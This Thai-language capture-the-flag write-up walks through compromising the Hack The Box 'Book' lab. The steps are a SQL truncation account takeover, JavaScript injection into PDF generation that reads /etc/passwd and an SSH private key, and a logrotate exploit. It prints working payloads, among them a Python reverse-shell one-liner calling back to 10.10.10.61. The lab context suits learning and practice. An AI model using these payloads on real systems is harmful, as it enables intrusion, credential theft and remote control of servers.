Book: Hack the Book Write-Up

Datafarm
5 min readAug 26, 2020

สวัสดีครับแฟนเพจทุกท่าน 🙏 กลับมาพบกับแอดซีอีกครั้งกับบทความ Write-up วันนี้เป็น Write-up จาก Lab บนเว็บไซต์ www.hackthebox.eu ซึ่งเป็นเว็บไซต์ที่มี Lab ให้ลองเล่นค่อนข้างเยอะ โดยสามารถเข้าเล่นได้ด้วยการ VPN ไปยังเครือข่ายของ Hack The Box มีการแบ่งความยากเป็นระดับ Easy, Medium, Hard และ Insane ยิ่งไปกว่านั้น ยังมีระบบปฏิบัติการทั้งของฝั่ง Linux และ Windows

วันนี้แอดซีเลือกเป็นโจทย์ระดับ Medium และระบบปฏิบัติการเป็น Linux สำหรับวัตถุประสงค์ใน Lab นี้ก็คือทำการเปิดอ่านไฟล์ “user.txt” และ “root.txt” เพื่อ Submit Flag

โดยเราจำเป็นต้อง VPN ไปที่ Network ของ Hack The Box ก่อน โดยสามารถดาวน์โหลด VPN ได้ที่หน้า https://www.hackthebox.eu/home/htb/access ได้เลย

โดยเริ่มจาก Scan Port ที่เปิดอยู่ก่อนเลยจ้า..

nmap -sC -sV 10.10.10.176

-sC => ใช้งาน Default Script

-sV => Enumerate Version และ Service

จะพบว่ามี Port เปิดอยู่ 2 Port ซึ่งก็คือ 22 (SSH) และ 80 (HTTP) ลองเข้าเว็บดูก่อนเลยแล้วกัน

ดูเหมือนว่าจะต้องสมัครสมาชิกก่อนถึงจะเข้าเว็บได้ งั้นลองสมัครเลย

พอเข้ามาแล้วก็ลองสำรวจเว็บสักหน่อย

และแล้วก็พบว่าเราสามารถอัปโหลดไฟล์ไปได้ด้วย

ลองอัปโหลดไฟล์ขึ้นไปที่ Server โดยเลือกไฟล์เป็นรูปภาพ

จากนั้นก็ใช้ Burp Suite ในการดัก Request แล้วแก้ไข Content ที่เป็นไฟล์รูปให้กลายเป็น php Script แทน

หลังจากอัปโหลดเสร็จ พอไปลองเสิร์จไฟล์ที่ได้อัปโหลดไปก็พบว่าไม่สามารถใช้ php Script ที่อัปโหลดไปได้เนื่องจากจะถูกแก้ไขชื่อ และเปลี่ยน Extension เป็น .pdf

และจากที่ลองอัปโหลดไฟล์แล้วไม่เวิร์คก็เลยลองสำรวจเว็บต่อก็พบว่ามี E-mail ของ Admin อยู่ด้วยซึ่งอาจจะได้ใช้ในอนาคต

นึกอะไรไม่ออกแล้วก็เลยดู Source Code ดูก่อนแล้วกัน… อ๊ะ!! แล้วก็เจอว่ามีการเขียนฟังก์ชันให้ Alert ข้อความเมื่อไม่มีการใส่ค่า name และ email ในตอนสมัครสมาชิก

ถ้างั้นก็ลองสมัครสมาชิกโดยพิมพ์เกิน 20 ตัวอักษรดูซิว่าจะเป็นยังไง

พอมาลอง Login ด้วย Email และ Password ที่เพิ่งสมัครไปก็พบว่าไม่สามารถเข้าใช้งานได้

ลองลบ Email ให้เหลือแค่ 20 ตัวอักษรแรกแล้ว Login ดูอีกครั้ง

ปรากฏว่าสามารถ Login เข้าไปได้ด้วย…

ครั้งนี้มาลองทดสอบสมัครสมาชิกด้วย E-mail ที่ 20 ตัวอักษรแรกเหมือนกันแต่เปลี่ยนตัวข้างหลัง และเปลี่ยน Password ใหม่

จากนั้นทดสอบ Login ด้วย Email เก่าแต่เปลี่ยน Password ใหม่

สามารถ Login ด้วย Password ใหม่ได้ด้วย (จริง ๆ แล้วการโจมตีแบบนี้มีชื่อเรียกว่า SQL Truncation Attack สามารถดูข้อมูลเพิ่มเติมได้ที่ https://resources.infosecinstitute.com/sql-truncation-attack/)

ทีนี้ก็ลองมาใช้วิธีนี้กับ Email “admin@book.htb” กันดู

และเมื่อลอง Login ดูก็พบว่าสามารถ Login เป็น Admin ได้แล้ว

จากนั้นเลยลองเอา Credential นี้มา Login ในหน้า Admin ก็พบว่าสามารถ Login เข้ามาได้ด้วย

พอเข้ามาได้ก็ลองสำรวจหน้า Admin ดูก็พบว่าตัว Website มีฟังก์ชันที่จะ Generate ไฟล์ PDF อยู่ด้วย

พอมาลองเปิดดูไฟล์ PDF ที่ Generate ขึ้นมาจะเป็นลิสต์รายชื่อหนังสือ

ทีนี้ก็เลยทดสอบอัปโหลดไฟล์โดยส่วนในชื่อหนังสือได้มีใช้ HTML Tag ด้วย

พอลอง Generate PDF ดูอีกครั้งก็พบว่าเราสามารถใช้ HTML Tag ได้

จากนั้นเลยลองแทรกคำสั่ง Javascript ลงไปโดยเป็นคำสั่ง

<script> document.write(window.location) </script>

เพื่อให้ทราบถึง Path ปัจจุบัน

แล้วพอลองโหลดไฟล์ PDF มาใหม่ก็พบว่าสามารถรันคำสั่ง Javascript ได้ด้วย

ทีนี้เลยเปลี่ยนคำสั่ง Javascript เป็น

<script>x=new XMLHttpRequest;x.onload=function(){document.write(btoa(this.responseText))};x.open("GET","file:///etc/passwd");x.send();</script>

เพื่อเปิดอ่านไฟล์ “/etc/passwd”

เมื่อเปิดอ่านไฟล์ PDF ครั้งนี้จะได้ข้อมูลภายในไฟล์ passwd ซึ่งทำให้ทราบได้ว่ามี User reader อยู่บนเซิร์ฟเวอร์

เลยลองใช้คำสั่ง Javascript เพื่ออ่านไฟล์ /home/reader/.ssh/id_rsa ว่าจะได้อะไรไหม

พอเปิดอ่าน PDF ก็จะพบกับ RSA Private Key

เลยนำไฟล์ดังกล่าวมาเปลี่ยนจาก PDF เป็น Text จากนั้นก็นำ Key ไปใช้ SSH

SSH ไปที่เซิร์ฟเวอร์โดยใช้ User reader

ทีนี้ลอง List ไฟล์ดูก็พบกับไฟล์ user.txt เมื่อเปิดอ่านก็จะได้ User Flag นั้นเอง

เมื่อได้ User แล้วก็ต้องมาทำการยกระดับสิทธิให้เป็น Root เพื่ออ่าน root.txt ต่อโดยแอดใช้ pspy64 เพื่อ Enumerate ดูว่ามี Process อะไรทำงานอยู่บ้าง

เมื่อเรียกใช้งาน pspy64 ก็พบว่ามีการเรียกใช้งาน Logrotate โดยใช้สิทธิ Root ในทุก ๆ 1 นาที

และเมื่อนำชื่อ Logrotate ไป Search ดูก็พบว่าตัว Logrotate นั้นมีช่วงโหว่ และ exploit อยู่ด้วยซึ่งก็คือ logrotten นั้นเอง

แอดเลยโหลดตัว Exploit มาลงเครื่องและ scp ตัว Exploit ลงไปที่เซิร์ฟเวอร์

จากนั้นก็ทำการ Compile ตัว Exploit และสร้างไฟล์ Payload เพื่อทำให้เครื่องเซิร์ฟเวอร์ติดต่อกลับมาที่เครื่องของแอด (Reverse Shell) โดยแอดเลือกใช้เป็น Python Reverse Shell และทีนี้เรียกใช้งาน Exploit เลย

โดยมีรายละเอียด Payload ไฟล์ดังนี้

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.61",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

เมื่อเรียกใช้ Exploit เสร็จก็แก้ไข access.log ซะหน่อย

ในอีก Terminal นึงก็เปิด Netcat รอไว้ที่ Port 3333

และเมื่อ Log Update ก็ บู้ม…… ได้ Shell ที่มีสิทธิ Root แล้ว จากนั้นก็อ่าน Flag เลย

จบไปแล้วกับ Write-Up ของ Hack The Box ข้อ Book ก็อาจจะไม่ยากเท่าไหร่สำหรับข้อนี้โดยแอดจะแปะลิงก์ข้อมูลที่เกี่ยวข้องกับข้อนี้ไว้ให้ด้านล่างนะครับ ขอบคุณที่อ่านจนจบครับผม 😊🙏

--

--

No responses yet